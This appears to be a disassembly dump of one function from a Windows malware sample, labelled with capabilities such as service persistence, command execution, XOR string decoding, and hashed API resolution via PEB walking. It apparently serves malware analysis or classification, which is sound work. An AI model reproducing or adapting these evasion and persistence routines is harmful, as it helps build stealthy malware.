Function at 0x14003af30
Capabilities:
Access peb ldr_data
Capture network configuration via ipconfig
Delete file
Encode data using xor
Execute command
Hash data using fnv
Persist via windows service
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13a0]
mov eax, 0x14a0
call fcn.1400522f0
sub rsp, rax
movaps xmmword [rsp + 0x1490], xmm6
movaps xmmword [rsp + 0x1480], xmm7
movaps xmmword [rsp + 0x1470], xmm8
movaps xmmword [rsp + 0x1460], xmm9
movaps xmmword [rsp + 0x1450], xmm10
movaps xmmword [rsp + 0x1440], xmm11
movaps xmmword [rsp + 0x1430], xmm12
movaps xmmword [rsp + 0x1420], xmm13
movaps xmmword [rsp + 0x1410], xmm14
movaps xmmword [rsp + 0x1400], xmm15
mov rax, qword [0x140067040]
xor rax, rsp
mov qword [rbp + 0x12f0], rax
mov dword [rsp + 0x58], 0
lea rdx, [0x14002a850]
lea rcx, [rbp + 0x60]
call fcn.14004abb0
nop
lea rcx, [rbp + 0x60]
call fcn.14002cf60
nop
cmp dword [rbp + 0x68], 0
je 0x14003aff6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xorps xmm0, xmm0
movups xmmword [rbp + 0x1120], xmm0
lea rax, [rbp + 0x338]
mov qword [rbp + 0x1110], rax
movups xmm0, xmmword [0x140056bd0]
movups xmmword [rbp + 0xbc0], xmm0
movups xmm1, xmmword [0x140056be0]
movups xmmword [rbp + 0xbd0], xmm1
movups xmm0, xmmword [0x140056bf0]
movups xmmword [rbp + 0xbe0], xmm0
movups xmm1, xmmword [0x140056c00]
movups xmmword [rbp + 0xbf0], xmm1
movups xmm0, xmmword [0x140056c10]
movups xmmword [rbp + 0xc00], xmm0
mov eax, dword [0x140056c20]
mov dword [rbp + 0xc10], eax
xor r8d, r8d
movdqa xmm8, xmmword [0x1400603e0]
movdqa xmm10, xmmword [0x140060430]
movdqa xmm9, xmmword [0x1400603c0]
movdqa xmm6, xmmword [0x140060480]
movdqa xmm7, xmmword [0x140060340]
mov r13d, dword [0x140067090]
cmp r13d, 2
jl 0x14003b1a3
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0xbc4]
mov edx, dword [rbp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14003b0b0
cmp r8d, 0x54
jge 0x14003b1e5
movsxd rax, r8d
lea r9, [rbp + 0xbc0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x14003b1b0
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x338]
call fcn.14002ba00
mov rbx, rax
lea rcx, [rbp + 0x358]
call fcn.140029d40
nop
mov rdx, rbx
mov rcx, rax
call fcn.14002a600
test al, al
je 0x14003b21e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rax, [rbp + 0x378]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [str.PMNKO_a]
movups xmmword [rbp + 0xb00], xmm0
movups xmm1, xmmword [0x1400573f0]
movups xmmword [rbp + 0xb10], xmm1
movups xmm0, xmmword [0x140057400]
movups xmmword [rbp + 0xb20], xmm0
movups xmm1, xmmword [0x140057410]
movups xmmword [rbp + 0xb30], xmm1
movups xmm0, xmmword [0x140057420]
movups xmmword [rbp + 0xb40], xmm0
movsd xmm0, qword [0x140057430]
movsd qword [rbp + 0xb50], xmm0
xor r8d, r8d
cmp r13d, 2
jl 0x14003b38d
xor edx, edx
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0xb04]
mov r8d, dword [rbp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x14003b2a0
jmp 0x14003b3d2
lea r9, [rbp + 0xb00]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x14003b3a0
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0x378]
call fcn.14002ba00
mov rbx, rax
lea rcx, [rbp + 0x398]
call fcn.140029d40
nop
mov rdx, rbx
mov rcx, rax
call fcn.14002a600
test al, al
je 0x14003b40b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rdx, [0x14002eab0]
lea rcx, [rbp + 0x80]
call fcn.14004abb0
nop
lea rcx, [rbp + 0x80]
call fcn.14002cf60
nop
cmp dword [rbp + 0x88], 0
je 0x14003b43c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword [str._VVTN]
mov qword [rbp - 0x10], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003b4d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003b4d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x36dbc7f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003b4d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003b4b0
cmp r8d, 0x4917c4de
je 0x14003b4db
test r9d, r9d
jne 0x14003b490
mov rax, qword [rax]
jmp 0x14003b460
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
movdqa xmm11, xmmword [0x140060350]
cmp r13d, 2
jl 0x14003b5dc
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x10]
xorps xmm2, xmm1
movd dword [rbp - 0x10], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0xc]
xorps xmm2, xmm1
movd dword [rbp - 0xc], xmm2
jmp 0x14003b612
lea r9, [rbp - 0x10]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14003b5e0
lea rcx, [rbp - 0x10]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003b6a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003b6a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4d244ef9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003b6a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003b680
cmp r8d, 0x8f2e74bc
je 0x14003b6ab
test r9d, r9d
jne 0x14003b660
mov rax, qword [rax]
jmp 0x14003b630
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003b756
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003b756
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xd3fc57f9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003b751
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003b730
cmp r8d, 0xb39abdbc
je 0x14003b75b
test r9d, r9d
jne 0x14003b710
mov rcx, qword [rcx]
jmp 0x14003b6e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003b806
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003b806
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x92d514bb
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003b801
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003b7e0
cmp r8d, 0x6d26f76f
je 0x14003b80b
test r9d, r9d
jne 0x14003b7c0
mov rcx, qword [rcx]
jmp 0x14003b790
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rdx, [rbp + 0x1130]
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003b8b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003b8b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xf8564db2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003b8b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003b890
cmp r8d, 0x9ed42d09
je 0x14003b8bb
test r9d, r9d
jne 0x14003b870
mov rax, qword [rax]
jmp 0x14003b840
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xfffffff5
call rax
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003b966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003b966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x89e42dc4
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003b961
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003b940
cmp r8d, 0x920ed487
je 0x14003b96b
test r9d, r9d
jne 0x14003b920
mov rcx, qword [rcx]
jmp 0x14003b8f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rdx, [rbp + 0x1140]
mov rcx, r15
call rax
movzx ecx, word [rbp + 0x1150]
sub cx, word [rbp + 0x114c]
inc cx
movzx eax, word [rbp + 0x1140]
mov word [rbp + 0x1110], ax
mov word [rbp + 0x1112], cx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003ba46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003ba46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5b7219c3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003ba41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003ba20
cmp r8d, 0x65e24fe6
je 0x14003ba4b
test r9d, r9d
jne 0x14003ba00
mov rax, qword [rax]
jmp 0x14003b9d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xffffffec
mov rcx, r12
call rax
mov esi, eax
bts esi, 0x13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14003bb06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bb06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r10d, r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x5c721b56
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bb01
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bae0
cmp r8d, 0xfc43d27
je 0x14003bb0b
test r9d, r9d
jne 0x14003bac0
mov rax, qword [rax]
jmp 0x14003ba90
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx eax, word [rcx + r10*2]
mov r10d, dword [r9 + rax*4]
add r10, r11
mov r8d, esi
mov edx, 0xffffffec
mov rcx, r12
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bbc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bbc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xddfd837a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bbc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bba0
cmp r8d, 0xa550ea1f
je 0x14003bbcb
test r9d, r9d
jne 0x14003bb80
mov rax, qword [rax]
jmp 0x14003bb50
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov r9d, 2
mov r8b, 0xc8
xor edx, edx
mov rcx, r12
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bc86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bc86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1759ffa5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bc81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bc60
cmp r8d, 0xde09dc30
je 0x14003bc8b
test r9d, r9d
jne 0x14003bc40
mov rax, qword [rax]
jmp 0x14003bc10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bd36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bd36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xdb83c261
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003bd31
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003bd10
cmp r8d, 0xc85d3efc
je 0x14003bd3b
test r9d, r9d
jne 0x14003bcf0
mov rcx, qword [rcx]
jmp 0x14003bcc0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xfffffff0
mov rcx, r14
call rax
mov esi, eax
and esi, 0xfff8ffff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bdf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bdf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x4e80a5d3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bdf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bdd0
cmp r8d, 0x5d6563ba
je 0x14003bdfb
test r9d, r9d
jne 0x14003bdb0
mov rax, qword [rax]
jmp 0x14003bd80
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, r14
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003beb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003beb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x7439c490
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003beb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003be90
cmp r8d, 0x1d716ab2
je 0x14003bebb
test r9d, r9d
jne 0x14003be70
mov rax, qword [rax]
jmp 0x14003be40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, dword [rbp + 0x1110]
mov rcx, r15
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bf66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bf66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x90b7c53f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bf61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bf40
cmp r8d, 0xcdc737c1
je 0x14003bf6b
test r9d, r9d
jne 0x14003bf20
mov rax, qword [rax]
jmp 0x14003bef0
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov dword [rsp + 0x30], 0x63
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, r12
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003c036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003c036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7a366f87
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c031
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c010
cmp r8d, 0xb619727a
je 0x14003c03b
test r9d, r9d
jne 0x14003bff0
mov rax, qword [rax]
jmp 0x14003bfc0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xfffffff0
mov rcx, r12
call rax
mov esi, eax
btr esi, 0x11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003c0f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003c0f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xda145a9a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c0f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c0d0
cmp r8d, 0xfaeee0b3
je 0x14003c0fb
test r9d, r9d
jne 0x14003c0b0
mov rax, qword [rax]
jmp 0x14003c080
mov eax, dword [rdi + 0x24]
add rax, r10
